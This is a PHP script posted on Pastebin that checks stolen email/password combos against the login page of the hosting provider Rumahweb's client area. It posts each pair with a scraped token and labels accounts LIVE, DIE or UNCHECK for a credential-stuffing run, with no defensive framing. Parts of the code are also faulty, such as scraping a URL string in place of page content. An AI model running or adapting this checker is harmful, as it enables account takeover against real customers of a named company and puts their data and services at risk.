Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- error_reporting(0);
- $format = $_POST['mailpass'];
- $pisah = explode("|", $format);
- $sock = $_POST['sock'];
- $hasil = array();
- if (!isset($format)) {
- header('location: ./');
- exit;
- }
- require 'class_curl.php';
- if (isset($format)){
- // cek wrong
- if ($pisah[1] == '' || $pisah[1] == null) {
- die('{"error":-1,"msg":"<font color=red><b>UNKNOWN</b></font> | Unable to checking"}');
- }
- $curl = new curl();
- $curl->cookies('cookies/'.md5($_SERVER['REMOTE_ADDR']).'.txt');
- $curl->ssl(0, 2);
- $url = "https://clientzone.rumahweb.com/dologin.php";
- $urldata= "https://clientzone.rumahweb.com/clientarea.php";
- $page = $curl->get($url);
- if ($page) {
- $alamat = getStr($urldata,'<div class="panel-body">','</div>');
- $token = getStr($page,'<input type="hidden" name="token" value="','" />');
- $data = "token={$token}&username={$pisah[0]}&password={$pisah[1]}";
- $page = $curl->post($url, $data);
- $asu = print_r($alamat);
- if (inStr($page, "Login Details Incorrect. Please try again.")) {
- die('{"error":2,"msg":"<font color=red><b>DIE</b></font> | '.$pisah[0].' | '.$pisah[1].' "}');
- } else if (inStr($page, "Selamat Datang Kembali")) {
- die('{"error":0,"msg":"<font color=green><b>LIVE</b></font> | '.$pisah[0].' | '.$pisah[1].' | '.$asu.' | [Checked on '.($_SERVER['HTTP_HOST']).']"}');
- } else {
- die('{"error":-1,"msg":"<font color=red><b>UNCHECK</b></font> | '.$pisah[0].' | '.$pisah[1].'"}');
- }
- } else {
- die('{"error":-1,"msg":"<font color=red><b>UNCHECK</b></font> | '.$pisah[0].' | '.$pisah[1].' | Unable To Connect"}');
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement